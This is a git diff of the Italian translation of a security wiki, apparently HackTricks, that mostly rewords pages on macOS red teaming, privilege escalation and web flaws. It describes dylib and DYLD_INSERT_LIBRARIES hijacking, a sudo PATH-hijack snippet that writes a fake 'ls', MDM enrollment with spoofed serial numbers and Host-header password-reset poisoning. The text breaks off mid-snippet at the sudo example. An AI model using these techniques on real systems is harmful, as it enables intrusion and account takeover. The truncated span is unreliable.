a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md index 9d42c2e6b..4e7901b0a 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md @@ -4,7 +4,7 @@ ## Introduzione -Come [**commentato in precedenza**](./#what-is-mdm-mobile-device-management)**,** per cercare di iscrivere un dispositivo in un'organizzazione **è necessario solo un Numero di Serie appartenente a quell'Organizzazione**. Una volta che il dispositivo è iscritto, diverse organizzazioni installeranno dati sensibili sul nuovo dispositivo: certificati, applicazioni, password WiFi, configurazioni VPN [e così via](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ +Come [**commentato in precedenza**](./#what-is-mdm-mobile-device-management)**,** per cercare di iscrivere un dispositivo in un'organizzazione **è necessario solo un numero di serie appartenente a quell'organizzazione**. Una volta che il dispositivo è iscritto, diverse organizzazioni installeranno dati sensibili sul nuovo dispositivo: certificati, applicazioni, password WiFi, configurazioni VPN [e così via](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ Pertanto, questo potrebbe essere un punto di ingresso pericoloso per gli attaccanti se il processo di iscrizione non è correttamente protetto. **Di seguito è riportato un riepilogo della ricerca [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Controllalo per ulteriori dettagli tecnici!** @@ -21,7 +21,7 @@ I check-in DEP utilizzano le funzioni `CPFetchActivationRecord` e `CPGetActivati ## Ingegneria Inversa del Protocollo Tesla e dello Schema Absinthe -Il check-in DEP comporta l'invio da parte di `cloudconfigurationd` di un payload JSON firmato e crittografato a _iprofiles.apple.com/macProfile_. Il payload include il numero di serie del dispositivo e l'azione "RequestProfileConfiguration". Lo schema di crittografia utilizzato è internamente denominato "Absinthe". Svelare questo schema è complesso e comporta numerosi passaggi, il che ha portato a esplorare metodi alternativi per inserire numeri di serie arbitrari nella richiesta del Record di Attivazione. +Il check-in DEP comporta l'invio da parte di `cloudconfigurationd` di un payload JSON crittografato e firmato a _iprofiles.apple.com/macProfile_. Il payload include il numero di serie del dispositivo e l'azione "RequestProfileConfiguration". Lo schema di crittografia utilizzato è internamente denominato "Absinthe". Svelare questo schema è complesso e comporta numerosi passaggi, il che ha portato a esplorare metodi alternativi per inserire numeri di serie arbitrari nella richiesta del Record di Attivazione. ## Proxying delle Richieste DEP @@ -29,7 +29,7 @@ I tentativi di intercettare e modificare le richieste DEP a _iprofiles.apple.com ## Strumentazione dei Binari di Sistema che Interagiscono con DEP -L'istrumentazione dei binari di sistema come `cloudconfigurationd` richiede di disabilitare la Protezione dell'Integrità di Sistema (SIP) su macOS. Con SIP disabilitato, strumenti come LLDB possono essere utilizzati per attaccarsi ai processi di sistema e potenzialmente modificare il numero di serie utilizzato nelle interazioni API DEP. Questo metodo è preferibile poiché evita le complessità delle autorizzazioni e della firma del codice. +L'istrumentazione dei binari di sistema come `cloudconfigurationd` richiede di disabilitare la Protezione dell'Integrità di Sistema (SIP) su macOS. Con SIP disabilitato, strumenti come LLDB possono essere utilizzati per attaccarsi ai processi di sistema e potenzialmente modificare il numero di serie utilizzato nelle interazioni con l'API DEP. Questo metodo è preferibile poiché evita le complessità delle autorizzazioni e della firma del codice. **Sfruttare l'Istrumentazione Binaria:** Modificare il payload della richiesta DEP prima della serializzazione JSON in `cloudconfigurationd` si è rivelato efficace. Il processo ha comportato: diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md b/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md index 6ea514bdb..d6d5fdb15 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md @@ -17,7 +17,7 @@ Ad esempio, il numero di serie **C02L13ECF8J2** segue questa struttura. Alcuni codici rappresentano fabbriche specifiche: -- **FC, F, XA/XB/QP/G8**: Varie località negli USA. +- **FC, F, XA/XB/QP/G8**: Vari luoghi negli USA. - **RN**: Messico. - **CK**: Cork, Irlanda. - **VM**: Foxconn, Repubblica Ceca. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md index b22b1bf22..3cc0141a4 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -69,9 +69,9 @@ Questo potrebbe verificarsi nelle seguenti situazioni: - Il file utilizzato era già stato creato da un utente (di proprietà dell'utente) - Il file utilizzato è scrivibile dall'utente a causa di un gruppo - Il file utilizzato si trova all'interno di una directory di proprietà dell'utente (l'utente potrebbe creare il file) -- Il file utilizzato si trova all'interno di una directory di proprietà di root ma l'utente ha accesso in scrittura su di essa a causa di un gruppo (l'utente potrebbe creare il file) +- Il file utilizzato si trova all'interno di una directory di proprietà di root, ma l'utente ha accesso in scrittura su di essa a causa di un gruppo (l'utente potrebbe creare il file) -Essere in grado di **creare un file** che sarà **utilizzato da root** consente a un utente di **sfruttare il suo contenuto** o persino creare **symlink/hardlink** per puntarlo in un altro posto. +Essere in grado di **creare un file** che sarà **utilizzato da root** consente a un utente di **sfruttare il suo contenuto** o persino creare **symlink/hardlink** per puntarlo in un'altra posizione. Per questo tipo di vulnerabilità non dimenticare di **controllare gli installer `.pkg` vulnerabili**: @@ -89,7 +89,7 @@ macos-file-extension-apps.md ## Escalation dei Privilegi TCC / SIP di macOS -In macOS, **le applicazioni e i binari possono avere permessi** per accedere a cartelle o impostazioni che li rendono più privilegiati di altri. +In macOS **le applicazioni e i binari possono avere permessi** per accedere a cartelle o impostazioni che li rendono più privilegiati di altri. Pertanto, un attaccante che desidera compromettere con successo una macchina macOS dovrà **escalare i suoi privilegi TCC** (o persino **bypassare SIP**, a seconda delle sue necessità). diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md index e6f555773..49a944eb2 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md @@ -88,7 +88,7 @@ L'oggetto è **`someObject`**, il metodo è **`@selector(method1p1:p2:)`** e gli Seguendo le strutture degli oggetti, è possibile raggiungere un'**array di metodi** dove i **nomi** e i **puntatori** al codice del metodo sono **localizzati**. > [!CAUTION] -> Nota che poiché i metodi e le classi vengono accessi in base ai loro nomi, queste informazioni sono memorizzate nel binario, quindi è possibile recuperarle con `otool -ov
` o [`class-dump `](https://github.com/nygard/class-dump) +> Nota che poiché i metodi e le classi sono accessibili in base ai loro nomi, queste informazioni sono memorizzate nel binario, quindi è possibile recuperarle con `otool -ov ` o [`class-dump `](https://github.com/nygard/class-dump) ### Accessing the raw methods @@ -274,11 +274,11 @@ In questa pagina sono stati discussi diversi modi per agganciare funzioni. Tutta Per fare ciò, la tecnica più semplice da utilizzare è iniettare un [Dyld tramite variabili di ambiente o hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Tuttavia, suppongo che questo possa essere fatto anche tramite [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port). -Tuttavia, entrambe le opzioni sono **limitati** a **binarie/processi non protetti**. Controlla ciascuna tecnica per saperne di più sulle limitazioni. +Tuttavia, entrambe le opzioni sono **limitati** a **binari/processi non protetti**. Controlla ciascuna tecnica per saperne di più sulle limitazioni. -Tuttavia, un attacco di hooking di funzione è molto specifico, un attaccante lo farà per **rubare informazioni sensibili dall'interno di un processo** (se no faresti semplicemente un attacco di iniezione di processo). E queste informazioni sensibili potrebbero trovarsi in app scaricate dall'utente come MacPass. +Tuttavia, un attacco di hooking di funzione è molto specifico, un attaccante lo farà per **rubare informazioni sensibili dall'interno di un processo** (se no, faresti semplicemente un attacco di iniezione di processo). E queste informazioni sensibili potrebbero trovarsi in app scaricate dall'utente come MacPass. -Quindi il vettore dell'attaccante sarebbe quello di trovare una vulnerabilità o rimuovere la firma dell'applicazione, iniettare la variabile env **`DYLD_INSERT_LIBRARIES`** attraverso l'Info.plist dell'applicazione aggiungendo qualcosa come: +Quindi il vettore dell'attaccante sarebbe quello di trovare una vulnerabilità o rimuovere la firma dell'applicazione, iniettare la variabile di ambiente **`DYLD_INSERT_LIBRARIES`** attraverso l'Info.plist dell'applicazione aggiungendo qualcosa come: ```xml LSEnvironment diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md index fb1d0fad7..a11d14d62 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md @@ -8,7 +8,7 @@ L'I/O Kit è un **framework per driver di dispositivo** open-source e orientato I driver IOKit **esporteranno fondamentalmente funzioni dal kernel**. Questi parametri di funzione **tipi** sono **predefiniti** e vengono verificati. Inoltre, simile a XPC, IOKit è solo un altro strato **sopra i messaggi Mach**. -Il **codice IOKit del kernel XNU** è open-source da Apple in [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Inoltre, i componenti IOKit dello spazio utente sono anch'essi open-source [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser). +Il **codice del kernel IOKit XNU** è open-source da Apple in [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Inoltre, i componenti IOKit dello spazio utente sono anch'essi open-source [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser). Tuttavia, **nessun driver IOKit** è open-source. Comunque, di tanto in tanto, un rilascio di un driver potrebbe venire con simboli che rendono più facile il debug. Controlla come [**ottenere le estensioni del driver dal firmware qui**](./#ipsw)**.** @@ -80,22 +80,22 @@ Puoi scaricare **`IORegistryExplorer`** da **Xcode Additional Tools** da [**http
-In IORegistryExplorer, "piani" sono usati per organizzare e visualizzare le relazioni tra diversi oggetti nell'IORegistry. Ogni piano rappresenta un tipo specifico di relazione o una particolare vista della configurazione hardware e dei driver del sistema. Ecco alcuni dei piani comuni che potresti incontrare in IORegistryExplorer: +In IORegistryExplorer, i "piani" sono utilizzati per organizzare e visualizzare le relazioni tra diversi oggetti nell'IORegistry. Ogni piano rappresenta un tipo specifico di relazione o una particolare vista della configurazione hardware e dei driver del sistema. Ecco alcuni dei piani comuni che potresti incontrare in IORegistryExplorer: -1. **IOService Plane**: Questo è il piano più generale, che mostra gli oggetti di servizio che rappresentano driver e nubs (canali di comunicazione tra driver). Mostra le relazioni fornitore-cliente tra questi oggetti. -2. **IODeviceTree Plane**: Questo piano rappresenta le connessioni fisiche tra i dispositivi mentre sono collegati al sistema. È spesso usato per visualizzare la gerarchia dei dispositivi connessi tramite bus come USB o PCI. -3. **IOPower Plane**: Mostra oggetti e le loro relazioni in termini di gestione dell'energia. Può mostrare quali oggetti stanno influenzando lo stato di alimentazione di altri, utile per il debug di problemi legati all'energia. +1. **IOService Plane**: Questo è il piano più generale, che visualizza gli oggetti di servizio che rappresentano driver e nubs (canali di comunicazione tra driver). Mostra le relazioni fornitore-cliente tra questi oggetti. +2. **IODeviceTree Plane**: Questo piano rappresenta le connessioni fisiche tra i dispositivi man mano che sono collegati al sistema. Viene spesso utilizzato per visualizzare la gerarchia dei dispositivi collegati tramite bus come USB o PCI. +3. **IOPower Plane**: Visualizza oggetti e le loro relazioni in termini di gestione dell'energia. Può mostrare quali oggetti stanno influenzando lo stato di alimentazione di altri, utile per il debug di problemi legati all'energia. 4. **IOUSB Plane**: Focalizzato specificamente sui dispositivi USB e le loro relazioni, mostrando la gerarchia degli hub USB e dei dispositivi connessi. 5. **IOAudio Plane**: Questo piano è per rappresentare i dispositivi audio e le loro relazioni all'interno del sistema. 6. ... -## Esempio di Codice per la Comunicazione del Driver +## Esempio di Codice Driver Comm Il seguente codice si connette al servizio IOKit `"YourServiceNameHere"` e chiama la funzione all'interno del selettore 0. Per farlo: - prima chiama **`IOServiceMatching`** e **`IOServiceGetMatchingServices`** per ottenere il servizio. - Poi stabilisce una connessione chiamando **`IOServiceOpen`**. -- E infine chiama una funzione con **`IOConnectCallScalarMethod`** indicando il selettore 0 (il selettore è il numero assegnato alla funzione che vuoi chiamare). +- E infine chiama una funzione con **`IOConnectCallScalarMethod`** indicando il selettore 0 (il selettore è il numero assegnato alla funzione che desideri chiamare). ```objectivec #import #import @@ -166,7 +166,7 @@ Quella terribile chiamata demangled significa: ```cpp IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` -Nota come nella definizione precedente il parametro **`self`** è mancante, la buona definizione sarebbe: +Nota come nel precedente definizione il parametro **`self`** è mancante, la buona definizione sarebbe: ```cpp IOUserClient2022::dispatchExternalMethod(self, unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md index 6a9b8d2a4..e08079dfa 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md @@ -8,8 +8,8 @@ Al alcune caratteristiche notevoli di APFS includono: -1. **Condivisione dello Spazio**: APFS consente a più volumi di **condividere lo stesso spazio di archiviazione libero sottostante** su un singolo dispositivo fisico. Questo consente un utilizzo dello spazio più efficiente poiché i volumi possono crescere e ridursi dinamicamente senza la necessità di ridimensionamenti o ripartizionamenti manuali. -1. Questo significa, rispetto alle partizioni tradizionali nei dischi file, **che in APFS diverse partizioni (volumi) condividono tutto lo spazio su disco**, mentre una partizione regolare aveva solitamente una dimensione fissa. +1. **Condivisione dello Spazio**: APFS consente a più volumi di **condividere lo stesso spazio di archiviazione libero sottostante** su un singolo dispositivo fisico. Questo consente un utilizzo dello spazio più efficiente poiché i volumi possono crescere e ridursi dinamicamente senza la necessità di ridimensionamenti manuali o ripartizionamenti. +1. Questo significa, rispetto alle partizioni tradizionali nei dischi file, **che in APFS diverse partizioni (volumi) condividono tutto lo spazio su disco**, mentre una partizione normale aveva solitamente una dimensione fissa. 2. **Snapshot**: APFS supporta **la creazione di snapshot**, che sono istanze **sola lettura** e puntuali del file system. Gli snapshot consentono backup efficienti e facili rollback di sistema, poiché consumano spazio di archiviazione aggiuntivo minimo e possono essere creati o ripristinati rapidamente. 3. **Cloni**: APFS può **creare cloni di file o directory che condividono lo stesso spazio di archiviazione** dell'originale fino a quando il clone o il file originale non vengono modificati. Questa funzione fornisce un modo efficiente per creare copie di file o directory senza duplicare lo spazio di archiviazione. 4. **Crittografia**: APFS **supporta nativamente la crittografia dell'intero disco** così come la crittografia per file e per directory, migliorando la sicurezza dei dati in diversi casi d'uso. @@ -23,7 +23,7 @@ diskutil list # Get overview of the APFS volumes Il volume `Data` è montato in **`/System/Volumes/Data`** (puoi verificarlo con `diskutil apfs list`). -L'elenco dei firmlinks può essere trovato nel file **`/usr/share/firmlinks`**. +La lista dei firmlinks può essere trovata nel file **`/usr/share/firmlinks`**. ```bash ``` diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md index 931569dd2..3b5944fb0 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md @@ -52,7 +52,7 @@ self.numberOfWheels += value; ``` ### **Oggetto e Chiamata del Metodo** -Per creare un'istanza di una classe viene chiamato il metodo **`alloc`** che **alloca memoria** per ogni **proprietà** e **azzera** quelle allocazioni. Poi viene chiamato **`init`**, che **inizializza le proprietà** ai **valori richiesti**. +Per creare un'istanza di una classe, viene chiamato il metodo **`alloc`** che **alloca memoria** per ogni **proprietà** e **azzera** quelle allocazioni. Poi viene chiamato **`init`**, che **inizializza le proprietà** ai **valori richiesti**. ```objectivec // Something like this: MyVehicle *newVehicle = [[MyVehicle alloc] init]; @@ -91,7 +91,7 @@ _numberOfWheels = +10000; NSLog(@"Number of wheels: %i", self.numberOfLeaves); } ``` -### Protocols +### Protocolli I protocolli sono insiemi di dichiarazioni di metodo (senza proprietà). Una classe che implementa un protocollo implementa i metodi dichiarati. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md index 57bdc2119..dcfdf2179 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md @@ -7,13 +7,13 @@ - [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): Monitorerà ogni connessione effettuata da ciascun processo. A seconda della modalità (consenti connessioni silenziose, nega connessione silenziosa e avvisa) ti **mostrerà un avviso** ogni volta che viene stabilita una nuova connessione. Ha anche un'interfaccia grafica molto bella per vedere tutte queste informazioni. - [**LuLu**](https://objective-see.org/products/lulu.html): Firewall di Objective-See. Questo è un firewall di base che ti avviserà per connessioni sospette (ha un'interfaccia grafica ma non è così elegante come quella di Little Snitch). -## Persistence detection +## Rilevamento della persistenza - [**KnockKnock**](https://objective-see.org/products/knockknock.html): Applicazione di Objective-See che cercherà in diverse posizioni dove **il malware potrebbe persistere** (è uno strumento a colpo singolo, non un servizio di monitoraggio). -- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Come KnockKnock, monitorando i processi che generano persistenza. +- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Come KnockKnock, monitora i processi che generano persistenza. -## Keyloggers detection +## Rilevamento dei keylogger -- [**ReiKey**](https://objective-see.org/products/reikey.html): Applicazione di Objective-See per trovare **keylogger** che installano "event taps" della tastiera. +- [**ReiKey**](https://objective-see.org/products/reikey.html): Applicazione di Objective-See per trovare **keylogger** che installano "event taps" della tastiera {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md index 3dd4d2897..fbe1f104b 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -77,7 +77,7 @@ compatibility version 1.0.0 {{#endtab}} {{#endtabs}} -Con le informazioni precedenti sappiamo che **non sta controllando la firma delle librerie caricate** e **sta cercando di caricare una libreria da**: +Con le informazioni precedenti sappiamo che **non controlla la firma delle librerie caricate** e **sta cercando di caricare una libreria da**: - `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` - `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` @@ -90,7 +90,7 @@ pwd find ./ -name lib.dylib ./Contents/Resources/lib2/lib.dylib ``` -Quindi, è possibile effettuare il hijacking! Crea una libreria che **esegue del codice arbitrario ed esporta le stesse funzionalità** della libreria legittima riesportandola. E ricorda di compilarla con le versioni attese: +Quindi, è possibile fare hijack! Crea una libreria che **esegue del codice arbitrario ed esporta le stesse funzionalità** della libreria legittima riesportandola. E ricorda di compilarla con le versioni attese: ```objectivec:lib.m #import @@ -121,7 +121,7 @@ cmd LC_REEXPORT_DYLIB cmdsize 128 name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24) ``` -Infine, copialo nella **posizione hijacked**: +Infine, copialo semplicemente nella **posizione hijacked**: ```bash cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" ``` diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md index cb8635435..27cbb2791 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md @@ -1,10 +1,10 @@ -# Gestori di app per estensioni di file macOS e schemi URL +# macOS File Extension & URL scheme app handlers {{#include ../../banners/hacktricks-training.md}} -## Database LaunchServices +## LaunchServices Database -Questo è un database di tutte le applicazioni installate in macOS che può essere interrogato per ottenere informazioni su ciascuna applicazione installata, come i schemi URL che supporta e i tipi MIME. +Questo è un database di tutte le applicazioni installate in macOS che può essere interrogato per ottenere informazioni su ciascuna applicazione installata, come gli URL scheme che supporta e i tipi MIME. È possibile eseguire il dump di questo database con: ``` diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md index 02178fd4a..bf2143f04 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md @@ -11,12 +11,12 @@ > [!TIP] > In sintesi, per eseguire codice in **parallelo**, i processi possono inviare **blocchi di codice a GCD**, che si occuperà della loro esecuzione. Pertanto, i processi non creano nuovi thread; **GCD esegue il codice fornito con il proprio pool di thread** (che potrebbe aumentare o diminuire secondo necessità). -Questo è molto utile per gestire con successo l'esecuzione parallela, riducendo notevolmente il numero di thread che i processi creano e ottimizzando l'esecuzione parallela. Questo è ideale per compiti che richiedono **grande parallelismo** (brute-forcing?) o per compiti che non dovrebbero bloccare il thread principale: ad esempio, il thread principale su iOS gestisce le interazioni dell'interfaccia utente, quindi qualsiasi altra funzionalità che potrebbe far bloccarsi l'app (ricerca, accesso a un web, lettura di un file...) è gestita in questo modo. +Questo è molto utile per gestire con successo l'esecuzione parallela, riducendo notevolmente il numero di thread creati dai processi e ottimizzando l'esecuzione parallela. Questo è ideale per compiti che richiedono **grande parallelismo** (brute-forcing?) o per compiti che non dovrebbero bloccare il thread principale: ad esempio, il thread principale su iOS gestisce le interazioni UI, quindi qualsiasi altra funzionalità che potrebbe far bloccarsi l'app (ricerca, accesso a un web, lettura di un file...) è gestita in questo modo. ### Blocchi Un blocco è una **sezione di codice autonoma** (come una funzione con argomenti che restituisce un valore) e può anche specificare variabili vincolate.\ -Tuttavia, a livello di compilatore, i blocchi non esistono, sono `os_object`. Ognuno di questi oggetti è formato da due strutture: +Tuttavia, a livello di compilatore i blocchi non esistono, sono `os_object`. Ognuno di questi oggetti è formato da due strutture: - **letterale di blocco**: - Inizia con il campo **`isa`**, che punta alla classe del blocco: @@ -30,7 +30,7 @@ Tuttavia, a livello di compilatore, i blocchi non esistono, sono `os_object`. Og - **descrittore del blocco**: La sua dimensione dipende dai dati presenti (come indicato nei flag precedenti) - Ha alcuni byte riservati - La sua dimensione -- Avrà di solito un puntatore a una firma in stile Objective-C per sapere quanto spazio è necessario per i parametri (flag `BLOCK_HAS_SIGNATURE`) +- Avrà solitamente un puntatore a una firma in stile Objective-C per sapere quanto spazio è necessario per i parametri (flag `BLOCK_HAS_SIGNATURE`) - Se le variabili sono referenziate, questo blocco avrà anche puntatori a un helper di copia (copia il valore all'inizio) e a un helper di eliminazione (liberandolo). ### Code @@ -212,6 +212,6 @@ Ghidra riscriverà automaticamente tutto: ## Riferimenti -- [**\*OS Internals, Volume I: User Mode. Di Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X) +- [**\*OS Internals, Volume I: User Mode. By Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md index 957d5e4b1..35e1748d9 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md @@ -24,7 +24,7 @@ Si prega di notare che **la maggior parte dei trucchi sull'escalation dei privil Puoi trovare la [tecnica originale di Sudo Hijacking all'interno del post sull'escalation dei privilegi di Linux](../../linux-hardening/privilege-escalation/#sudo-hijacking). -Tuttavia, macOS **mantiene** il **`PATH`** dell'utente quando esegue **`sudo`**. Il che significa che un altro modo per realizzare questo attacco sarebbe **di dirottare altri binari** che la vittima eseguirà quando **esegue sudo:** +Tuttavia, macOS **mantiene** il **`PATH`** dell'utente quando esegue **`sudo`**. Il che significa che un altro modo per ottenere questo attacco sarebbe **di dirottare altri binari** che la vittima eseguirà quando **esegue sudo:** ```bash # Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH cat > /opt/homebrew/bin/ls <
-**Get a hacker's perspective on your web apps, network, and cloud** +### Intestazione Host -**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -### Host header - -Several times the back-end trust the **Host header** to perform some actions. For example, it could use its value as the **domain to send a password reset**. So when you receive an email with a link to reset your password, the domain being used is the one you put in the Host header.Then, you can request the password reset of other users and change the domain to one controlled by you to steal their password reset codes. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). +Diverse volte il back-end si fida dell'**Intestazione Host** per eseguire alcune azioni. Ad esempio, potrebbe utilizzare il suo valore come **dominio per inviare un ripristino della password**. Quindi, quando ricevi un'email con un link per ripristinare la tua password, il dominio utilizzato è quello che hai inserito nell'Intestazione Host. Poi, puoi richiedere il ripristino della password di altri utenti e cambiare il dominio in uno controllato da te per rubare i loro codici di ripristino della password. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). > [!WARNING] -> Note that it's possible that you don't even need to wait for the user to click on the reset password link to get the token, as maybe even **spam filters or other intermediary devices/bots will click on it to analyze it**. +> Nota che è possibile che tu non debba nemmeno aspettare che l'utente clicchi sul link per ripristinare la password per ottenere il token, poiché anche **i filtri antispam o altri dispositivi/bot intermedi potrebbero cliccarci sopra per analizzarlo**. -### Session booleans +### Booleani di sessione -Some times when you complete some verification correctly the back-end will **just add a boolean with the value "True" to a security attribute your session**. Then, a different endpoint will know if you successfully passed that check.\ -However, if you **pass the check** and your sessions is granted that "True" value in the security attribute, you can try to **access other resources** that **depends on the same attribute** but that you **shouldn't have permissions** to access. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). +A volte, quando completi correttamente alcune verifiche, il back-end **aggiunge semplicemente un booleano con il valore "True" a un attributo di sicurezza della tua sessione**. Poi, un endpoint diverso saprà se hai superato con successo quel controllo.\ +Tuttavia, se **superi il controllo** e la tua sessione riceve quel valore "True" nell'attributo di sicurezza, puoi provare ad **accedere ad altre risorse** che **dipendono dallo stesso attributo** ma a cui **non dovresti avere permessi** di accesso. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). -### Register functionality +### Funzionalità di registrazione -Try to register as an already existent user. Try also using equivalent characters (dots, lots of spaces and Unicode). +Prova a registrarti come un utente già esistente. Prova anche a utilizzare caratteri equivalenti (punti, molti spazi e Unicode). -### Takeover emails +### Prendere il controllo delle email -Register an email, before confirming it change the email, then, if the new confirmation email is sent to the first registered email,you can takeover any email. Or if you can enable the second email confirming the firt one, you can also takeover any account. +Registrati con un'email, prima di confermarla cambia l'email, poi, se la nuova email di conferma viene inviata alla prima email registrata, puoi prendere il controllo di qualsiasi email. Oppure, se puoi abilitare la seconda email confermando la prima, puoi anche prendere il controllo di qualsiasi account. -### Access Internal servicedesk of companies using atlassian +### Accesso al servizio interno di assistenza delle aziende che utilizzano Atlassian {% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %} -### TRACE method +### Metodo TRACE -Developers might forget to disable various debugging options in the production environment. For example, the HTTP `TRACE` method is designed for diagnostic purposes. If enabled, the web server will respond to requests that use the `TRACE` method by echoing in the response the exact request that was received. This behaviour is often harmless, but occasionally leads to information disclosure, such as the name of internal authentication headers that may be appended to requests by reverse proxies.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) +Gli sviluppatori potrebbero dimenticare di disabilitare varie opzioni di debug nell'ambiente di produzione. Ad esempio, il metodo HTTP `TRACE` è progettato per scopi diagnostici. Se abilitato, il server web risponderà alle richieste che utilizzano il metodo `TRACE` restituendo nella risposta la richiesta esatta che è stata ricevuta. Questo comportamento è spesso innocuo, ma occasionalmente porta a divulgazione di informazioni, come il nome delle intestazioni di autenticazione interne che potrebbero essere aggiunte alle richieste da proxy inversi.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) ![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png) -
